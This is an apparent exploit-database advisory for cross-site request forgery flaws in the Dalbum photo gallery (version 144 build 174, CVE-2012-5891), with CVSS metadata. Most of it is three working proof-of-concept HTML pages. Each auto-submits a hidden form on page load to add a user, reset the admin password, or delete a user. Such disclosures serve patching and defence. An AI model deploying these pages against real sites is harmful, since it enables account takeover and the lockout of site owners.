Dalbum 144 Build 174 Cross Site Request Forgery

2012-04-01 / 2012-11-18

Credit: Ahmed Elhady Mohamed

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2012-5891

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

dalbum 144 build 174 and earlier CSRF Vulnerabilities
===================================================================================
# Exploit Title:dalbum 144_174 and earlier CSRF Vulnerabilities
# Vendor: http://www.dalbum.org/
# Download link :http://www.dalbum.org/index.php?go=Downloads
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: 144 build 174
# Category: webapps
# Tested on: ubuntu 11.4
# This vulnerability allows a malicious hacker to add a user
delete a user and change password of a user
===================================================================================
CSRF VUlnerabilities :
POC 1:
<html>
<head>
<title> Add a user </title>
<script>
function CSRF() {
document.getElementById('CSRF').click();
};
</script>
</head>
<body onLoad="CSRF()">
<form action="http://127.0.0.1/photo/pass.php" method="post" />
<input name="user" value="CSRF" type="hidden" />
<input name="pass" value="123" type="hidden" />
<input name="passc" value="123" type="hidden" />
<input type="hidden" name="action" value="add">
<input type="submit" id="CSRF" name="submit" value="Submit">
</form>
</body>
</html>
POC 2:
<html>
<head>
<title> Change user's password </title>
<script>
function CSRF() {
document.getElementById('CSRF').click();
};
</script>
</head>
<body onLoad="CSRF()">
<form action="http://127.0.0.1/photo/pass.php" method="post" />
<input name="user" value="admin" type="hidden" />
<input name="pass" value="111" type="hidden" />
<input name="passc" value="111" type="hidden" />
<input name="change" value="Change password" type="hidden" />
<input type="hidden" name="action" value="change">
<input type="submit" id="CSRF" name="submit" value="Submit">
</form>
</body>
</html>
POC 3:
<html>
<head>
<title> Delete a user </title>
<script>
function CSRF() {
document.getElementById('CSRF').click();
};
</script>
</head>
<body onLoad="CSRF()">
<form action="http://127.0.0.1/photo/pass.php" method="post" />
<input name="user" value="a" type="hidden" />
<input type="hidden" name="delete" value="Delete">
<input type="submit" id="CSRF" name="submit" value="Submit">
</form>
</body>
</html>

References:

http://www.dalbum.org/

http://www.dalbum.org/index.php?go=Downloads

See this note in RAW Version

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Dalbum 144 Build 174 Cross Site Request Forgery

References:

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